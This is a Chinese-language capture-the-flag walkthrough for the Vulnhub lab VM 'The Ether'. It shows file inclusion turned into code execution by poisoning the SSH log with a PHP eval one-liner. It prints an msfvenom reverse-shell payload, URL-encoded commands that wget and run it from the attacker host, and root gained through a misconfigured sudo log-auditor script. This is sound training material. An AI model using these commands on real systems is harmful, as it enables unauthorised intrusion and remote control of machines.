Skip to content

Vulnhub-The_Ether

靶机信息

下载链接

http://www.mediafire.com/file/502nbnbkarsoisb/theEther.zip

运行环境

本靶机提供了VMware的镜像,从上面的链接下载之后解压,运行vmx文件即可

靶机:可设置为NAT 攻击机:Kali 2021.1、windows 11

本靶机有一定难度,不适合初学者。

目标

get-flag

信息收集

目标发现以及端口服务识别

shell
#确定目标IP
arp-scan -l
#端口扫描以及服务识别并保存扫描结果为txt
nmap -A -v 192.168.160.210 -oN the.txt

可以确定192.168.160.210为目标靶机的IP

分析nmap的扫描结果,发现靶机只开放了2280端口,系统为Ubuntu22端口为SSH服务,80端口为http服务,Web容器为Apache/2.4.18

漏洞挖掘

niktoWeb扫描

shell
nikto -h 192.168.160.210

发现了images目录和/icons/README文件,但没有什么利用价值

目录扫描

shell
dirb 192.168.160.210

除了部分静态文件,没有发现有价值的利用点

手工探测

浏览网站web服务页面,进行手工探测

点击ABOUT US链接后,发现URL为:http://192.168.160.210/?file=about.php,可能存在任意文件包含。

文件包含测试

a.尝试读取../../../../../../../etc/passwd无果

b.伪协议php://filter读取文件和伪协议php://input写入木马进行连接

c.测试了几个常见的Apache相关文件的路径:

shell
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
/etc/apache2/apache2.conf

均无结果。

猜测可能是更改了配置文件的路径

结合之前信息探测的结果,靶机只开通了httpssh服务。Apache的日志包含失败。

d.尝试包含ssh的登陆日志,成功读取.

getshell

webshell写入

使用一句话作为用户名登陆靶机的ssh,SSH的日志会记录此次登陆行为,这样就可以把一句话写入ssh的日志文件

php
<?php eval($_GET[a];?)>

单击确定,密码随意,而后连接即可,burp测试是否成功写入

成功写入,并能执行相应命令

msf反弹shell

下面利用msf生成linux的shell程序反弹一个shell

shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.160.129 LPORT=4444 -f elf > shell.elf

设置监听

shell
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.160.129
exploit

先用Python搭建一个简单的Web Server:

python
python -m SimpleHTTPServer 80

然后利用前面获得的一句话,执行命令,下载生成的木马,添加执行权限并运行。

shell
#下面的命令为了正常执行,都对空格和加号等符号进行了url编码
#下载木马
/?file=/var/log/auth.log&a=system('wget+192.168.160.129/shell.elf')%3b
#生成的木马文件没有执行权限,传到到靶机后无法执行,所以要先给shell.elf赋予执行权限,再执行
/?file=/var/log/auth.log&a=system('chmod+%2bx+shell.elf')%3b
#执行
/?file=/var/log/auth.log&a=system('./shell.elf')%3b

反弹成功

提权

溢出提权

现在拿到了目标靶机的Meterpreter shell,简单的看下信息。

发现系统为Ubuntu 16.04 (Linux 4.10.0-40-generic),前段时间爆了Ubuntu16.04提权的exp,在这里试一试

exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

提权失败。

使用msf提权

use post/multi/recon/local_exploit_suggester

没有发现可以利用的提权漏洞

SUID文件提权

首先进入交互式shell: python -c 'import pty;pty.spawn("/bin/bash")'

在Web的目录中发现了特别的文件xxxlogauditorxxx.py

查看py文件的权限,发现具有SUID的权限,且文件所属用户为root。并且可以不使用密码即可以root权限运行该py文件。并且该py文件的配置错误,导致可以直接以root权限执行命令。(手动狗头)

运行一下该py文件,发现是审计日志的程序。

查看日志时猜测此文件执行的是cat命令,在后面添加 | id看命令是否执行成功

成功执行

于是我们就可以通过python脚本和/var/log/auth.log |命令进行配合获得root权限

因为之前已经上传了Msfvenom生成的马,这里再次使用;另开一个终端并开启msf监听

利用发现的特殊文件脚本以root权限执行先前上传的shell.elf

shell
sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf

运行后,成功反弹root权限shell,提权成功

进入root目录查看flag,发现flag.png文件,查看

cat flag.png

发现一串base64,解密得到flag

至此,已经完成对靶机的完全渗透。